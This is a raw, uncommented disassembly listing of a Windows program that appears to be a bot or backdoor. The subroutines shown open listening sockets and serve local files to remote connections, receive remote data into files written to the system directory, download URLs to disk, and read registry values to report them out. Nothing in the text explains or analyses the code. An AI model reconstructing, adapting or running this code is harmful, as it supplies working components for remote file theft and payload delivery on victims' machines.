loc_415EDB:				; CODE XREF: sub_415DE9+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	near ptr sub_41CAE0
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415EF6
		mov	ecx, 0A0h


loc_415EF6:				; CODE XREF: sub_415DE9+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415F00
		push	78h
		pop	eax


loc_415F00:				; CODE XREF: sub_415DE9+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415F45
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CDCC0	; SendMessageA


loc_415F45:				; CODE XREF: sub_415DE9+14Aj
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415F62
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CDCC0	; SendMessageA


loc_415F62:				; CODE XREF: sub_415DE9+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415FA0
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CDCC0	; SendMessageA


loc_415FA0:				; CODE XREF: sub_415DE9+1A3j
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415FBB
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CDCC0	; SendMessageA


loc_415FBB:				; CODE XREF: sub_415DE9+1C0j
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415FD4
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CDCC0	; SendMessageA


loc_415FD4:				; CODE XREF: sub_415DE9+1DBj
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_415FF1
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CDCC0	; SendMessageA


loc_415FF1:				; CODE XREF: sub_415DE9+1F4j
		push	[ebp+var_4]
		call	sub_41B881
		push	esi
		call	sub_41B881
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CDC04	; IsWindow
		test	eax, eax
		jz	short loc_41601A
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CDCC0	; SendMessageA


loc_41601A:				; CODE XREF: sub_415DE9+63j
					; sub_415DE9+D0j ...
		push	edi
		call	dword_4CDD14	; DestroyWindow
		mov	eax, ebx


loc_416023:				; CODE XREF: sub_415DE9+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415DE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416028	proc near		; CODE XREF: sub_401B66+2558p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_438EA4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_4161D4
		push	esi
		push	edi
		mov	eax, offset off_438EA4
		mov	esi, offset dword_438EB0
		mov	edi, offset dword_43A0BC


loc_416058:				; CODE XREF: sub_416028+1A4j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CDCD4	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CDB64	; RegQueryValueExA
		test	eax, eax
		jnz	loc_4161BB
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_41617F
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_42AB08
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41BC92
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_4161BB
		push	eax
		jmp	short loc_4160E8
; ---------------------------------------------------------------------------


loc_4160D3:				; CODE XREF: sub_416028+D0j
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4160FC
		push	[ebp+var_8]


loc_4160E8:				; CODE XREF: sub_416028+A9j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41C31F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4160D3
		jmp	short loc_416174
; ---------------------------------------------------------------------------


loc_4160FC:				; CODE XREF: sub_416028+BBj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41C780
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_70]
		jz	short loc_41613B
		push	offset asc_43A0B8 ; "="
		push	eax
		call	sub_41C8C4
		push	offset asc_43A0B8 ; "="
		push	ebx
		call	sub_41C8C4
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41C056
		add	esp, 20h
		jmp	short loc_41614F
; ---------------------------------------------------------------------------


loc_41613B:				; CODE XREF: sub_416028+E5j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41C056
		add	esp, 10h


loc_41614F:				; CODE XREF: sub_416028+111j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4157A5
		add	esp, 18h


loc_416174:				; CODE XREF: sub_416028+D2j
		push	[ebp+var_8]
		call	sub_41B82B
		pop	ecx
		jmp	short loc_4161BB
; ---------------------------------------------------------------------------


loc_41617F:				; CODE XREF: sub_416028+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4157A5
		add	esp, 28h


loc_4161BB:				; CODE XREF: sub_416028+60j
					; sub_416028+A2j ...
		push	[ebp+var_4]
		call	dword_4CDC40	; RegCloseKey
		add	esi, 18h
		lea	eax, [esi-0Ch]
		cmp	[eax], ebx
		jnz	loc_416058
		pop	edi
		pop	esi


loc_4161D4:				; CODE XREF: sub_416028+19j
		pop	ebx
		leave
		retn
sub_416028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161D7	proc near		; DATA XREF: sub_401B66+984o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_41C2F0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	[ebp+var_14]
		xor	esi, esi
		inc	esi
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_417C50
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41626A
		lea	eax, [ebp+var_11B4]
		push	offset unk_43A138
		push	eax
		call	sub_41C056
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_41624D
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409982
		add	esp, 14h


loc_41624D:				; CODE XREF: sub_4161D7+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_4157A5
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_41626A:				; CODE XREF: sub_4161D7+3Fj
		push	offset byte_43FE14
		push	ebx
		call	sub_41A413
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4162D5
		lea	eax, [ebp+var_11B4]
		push	offset unk_43A108
		push	eax
		call	sub_41C056
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_4162B1
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409982
		add	esp, 14h


loc_4162B1:				; CODE XREF: sub_4161D7+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	ebx
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_4162D5:				; CODE XREF: sub_4161D7+A3j
		push	64h
		call	dword_428064	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_4162E4:				; CODE XREF: sub_4161D7+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CDC7C	; recv
		test	eax, eax
		jle	short loc_416341
		lea	eax, [ebp+var_11B4]
		push	offset asc_42B120 ; "\n"
		push	eax
		call	sub_41C690
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_41A1FF
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416341
		push	64h
		call	dword_428064	; Sleep
		push	0Ah
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jnz	short loc_4162E4


loc_416341:				; CODE XREF: sub_4161D7+130j
					; sub_4161D7+154j
		lea	eax, [ebp+var_11B4]
		push	offset unk_43A0D4
		push	eax
		call	sub_41C056
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_416374
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409982
		add	esp, 14h


loc_416374:				; CODE XREF: sub_4161D7+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	ebx
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread
sub_4161D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416398	proc near		; DATA XREF: sub_401B66+7705o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		xor	ebx, ebx
		xor	esi, esi
		inc	ebx
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4CDCE4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_4163E6
		push	offset unk_43A238
		jmp	loc_41659F
; ---------------------------------------------------------------------------


loc_4163E6:				; CODE XREF: sub_416398+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_4CDC64	; ntohs
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4CDC90	; bind
		test	eax, eax
		jz	short loc_416424
		push	offset unk_43A214
		jmp	loc_41659F
; ---------------------------------------------------------------------------


loc_416424:				; CODE XREF: sub_416398+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_4CDC08	; getsockname
		push	[ebp+var_2E]
		call	dword_4CDB94	; ntohs
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41B7B0
		pop	ecx


loc_416456:				; CODE XREF: sub_416398+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_416469
		push	5Fh
		pop	eax
		jmp	short loc_41646C
; ---------------------------------------------------------------------------


loc_416469:				; CODE XREF: sub_416398+CAj
		movsx	eax, al


loc_41646C:				; CODE XREF: sub_416398+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_41B7B0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_416456
		push	ebx
		push	edi
		call	dword_4CDC8C	; listen
		test	eax, eax
		jz	short loc_41649F
		push	offset unk_43A138
		jmp	loc_41659F
; ---------------------------------------------------------------------------


loc_41649F:				; CODE XREF: sub_416398+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_4280EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4164C9
		push	offset unk_43A1F4
		jmp	loc_41659F
; ---------------------------------------------------------------------------


loc_4164C9:				; CODE XREF: sub_416398+125j
		push	esi
		push	eax
		call	dword_42810C	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AB14
		pop	ecx
		push	eax
		call	dword_4CDCA4	; inet_addr
		push	eax
		call	dword_4CDC60	; ntohl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_43A1DC
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409982
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4CDC4C	; select
		test	eax, eax
		jg	short loc_416579
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_43A1C4
		push	eax
		push	[ebp+var_1FC]
		call	sub_409982
		jmp	loc_41669D
; ---------------------------------------------------------------------------


loc_416579:				; CODE XREF: sub_416398+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4CDCF8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_4165B2
		push	offset unk_43A1A0


loc_41659F:				; CODE XREF: sub_416398+49j
					; sub_416398+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		jmp	loc_4166A0
; ---------------------------------------------------------------------------


loc_4165B2:				; CODE XREF: sub_416398+200j
		push	edi
		call	dword_4CDCFC	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_416664
		mov	edi, 400h


loc_4165C7:				; CODE XREF: sub_416398+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_4165D4
		mov	[ebp+var_4], eax


loc_4165D4:				; CODE XREF: sub_416398+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_41BD60
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_428120	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_4280E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4CDCB4	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4CDC7C	; recv
		cmp	eax, ebx
		jl	loc_4166F9
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_4166F9
		sub	[ebp+arg_0], eax
		jnz	loc_4165C7
		mov	edi, [ebp+var_18]


loc_416664:				; CODE XREF: sub_416398+224j
		push	[ebp+var_8]
		call	dword_42806C	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_416E8B
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset unk_43A174
		push	eax
		call	sub_41C056


loc_41669D:				; CODE XREF: sub_416398+1DCj
		add	esp, 14h


loc_4166A0:				; CODE XREF: sub_416398+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_4166C5
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409982
		add	esp, 14h


loc_4166C5:				; CODE XREF: sub_416398+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4157A5
		cmp	edi, esi
		pop	ecx
		jbe	short loc_4166DD
		push	edi
		call	dword_4CDCFC	; closesocket


loc_4166DD:				; CODE XREF: sub_416398+33Cj
		push	[ebp+var_1F8]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_58]
		call	sub_40B2A3
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_4166F9:				; CODE XREF: sub_416398+2AFj
					; sub_416398+2BAj
		push	esi
		mov	esi, offset dword_43A15C
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_409982
		push	esi
		call	sub_4157A5
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_58]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread
sub_416398	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673A	proc near		; DATA XREF: sub_401B66+727o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C2F0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	104h
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	[ebp+var_8], ebx
		call	dword_428078	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB10
		push	eax
		call	sub_41C056
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_4280EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4167C4
		push	offset unk_43A2D8
		jmp	short loc_41680A
; ---------------------------------------------------------------------------


loc_4167C4:				; CODE XREF: sub_41673A+81j
		push	eax
		call	dword_42806C	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BC92
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_4167EC
		push	offset unk_43A2A8
		jmp	short loc_41680A
; ---------------------------------------------------------------------------


loc_4167EC:				; CODE XREF: sub_41673A+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_417C50
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_41681D
		push	offset unk_43A288


loc_41680A:				; CODE XREF: sub_41673A+88j
					; sub_41673A+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		jmp	loc_416917
; ---------------------------------------------------------------------------


loc_41681D:				; CODE XREF: sub_41673A+C9j
		mov	esi, 1000h


loc_416822:				; CODE XREF: sub_41673A+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC7C	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4168E9
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41688A
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41DAB4
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4CDC60	; ntohl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		jmp	short loc_416822
; ---------------------------------------------------------------------------


loc_41688A:				; CODE XREF: sub_41673A+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_43A15C
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409982
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4157A5
		push	[ebp+var_4]
		call	sub_41B82B
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_1C]
		call	sub_40B2A3
		pop	ecx
		push	1
		call	dword_4280CC	; ExitThread


loc_4168E9:				; CODE XREF: sub_41673A+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416E8B
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset unk_43A25C
		push	eax
		call	sub_41C056
		add	esp, 1Ch


loc_416917:				; CODE XREF: sub_41673A+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_41693C
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409982
		add	esp, 14h


loc_41693C:				; CODE XREF: sub_41673A+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4157A5
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_416957
		push	[ebp+var_4]
		call	sub_41B82B
		pop	ecx


loc_416957:				; CODE XREF: sub_41673A+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_416965
		push	[ebp+arg_0]
		call	dword_4CDCFC	; closesocket


loc_416965:				; CODE XREF: sub_41673A+220j
		push	[ebp+var_1C]
		call	sub_40B2A3
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread
sub_41673A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416975	proc near		; DATA XREF: sub_401B66+6195o
					; sub_401B66+69BDo

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4CDC14
		call	dword_4CDB68	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_416DEE
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4280EC	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_416A3C
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_43A4A4
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416A1F
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409982
		add	esp, 14h


loc_416A1F:				; CODE XREF: sub_416975+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4157A5
		push	[ebp+var_48]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread


loc_416A3C:				; CODE XREF: sub_416975+68j
		xor	edi, edi
		call	dword_4280A8	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_41BCA5
		pop	ecx
		mov	[ebp+var_1C], eax


loc_416A56:				; CODE XREF: sub_416975+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4CDB70	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_416A9A
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_416E54
		pop	ecx
		pop	ecx


